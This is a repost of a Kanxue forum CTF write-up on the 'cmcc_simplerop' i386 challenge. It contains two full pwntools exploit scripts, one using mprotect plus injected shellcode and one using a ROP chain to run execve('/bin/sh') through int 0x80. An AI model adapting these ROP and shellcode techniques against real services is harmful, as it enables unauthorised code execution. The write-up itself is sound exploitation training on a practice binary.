CTF实战练习Cmcc_simplerop

本文为看雪论坛优秀文章
看雪论坛作者ID:N1co5in3
一
题目复现
主函数可溢出:
存在mprotect,可以改变bss权限后,在bss写入shell代码。
存在int 0x80,可以调整寄存器利用中断执行sh。
因此本题有两种思路。
二
解题思路
方法一:
先用mprotect改写bss段权限,用read函数在bss段写入shell代码。
方法二:
由于文件中没用binsh字符串,先用read函数在bss段写入‘/bin/sh’,再调整寄存器执行exec函数。
三
调试过程


执行完函数需要pop3执行后面的函数,都可以用。

int 80(eax,ebx,ecx,edx):eax为11,ebx为’/bin/sh’地址,ecx,edx缺省。



gdb断点应该更直观。
得到ret地址位移为0x20,考虑原因:这道题应该不是我们平常做的c语言编译器得到的,elf结构比较奇怪,所以栈也有所不同。

四
Payload
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
io = process('./simplerop')
#io = remote('node4.buuoj.cn',25205)
elf = ELF('./simplerop')
main_addr = 0x8048e26
read_addr = 0x806cd50
#pop_eax = 0x80bae06
pop_edx_ecx_ebx = 0x806e850
#int80_addr = 0x80493e1
binsh_addr = 0x80eaf80
mprotect_addr = 0x806d870
#binsh_addr = 0x80eb584
payload = b'a'*0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32(0x80ea000) + p32(0x1000) + p32(7)
payload += p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x100)
payload += p32(binsh_addr)
io.sendlineafter('it',payload)
sleep(0.2)
payload2 = asm(shellcraft.sh())
io.sendline(payload2)
io.interactive()
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
io = process('./simplerop')
#io = remote('node4.buuoj.cn',25205)
elf = ELF('./simplerop')
main_addr = 0x8048e26
read_addr = 0x806cd50
pop_eax = 0x80bae06
pop_edx_ecx_ebx = 0x806e850
pop_ebx = 0x80481c9
int80_addr = 0x80493e1
binsh_addr = 0x80eaf80
#binsh_addr = 0x80eb584
payload = b'a' * 0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(11) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) +p32(binsh_addr) + p32(int80_addr)
#payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
五
未解决问题
希望有师傅可以交流解决上述问题!
看雪ID:N1co5in3
https://bbs.pediy.com/user-home-945391.htm

# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- Windows驱动曝出严重漏洞 影响所有Win10/11系统!
- 安装成功后无法进入AppNode面板怎么办?
- 生于越南,“开源改变了我的人生!”
- 网络尖刀蝉联八年阿里ASRC卓越合作伙伴/安全团队
- 李开复加入“中文版 ChatGPT”大战:宣布筹组新公司,招募世界级人才!
- Go 闯进 Top 10、C++ 再次被 Java 反超,TIOBE 3 月榜单发布
- JavaScript 未必是最优选,下一代浏览器语言会是什么样?
- 苹果往事:“我们必须制造 iPhone,它一定会终结 iPod”
- 首个!“828 B2B企业节”来了!
- 【倒计时5天】创意无限,脑洞变现!极客市集邀您来玩儿~
- 5G射频前端:解决5G时代终端设计难题
- 在招 | 易念科技高达50万年薪诚招销售经理和渠道经理
赞助链接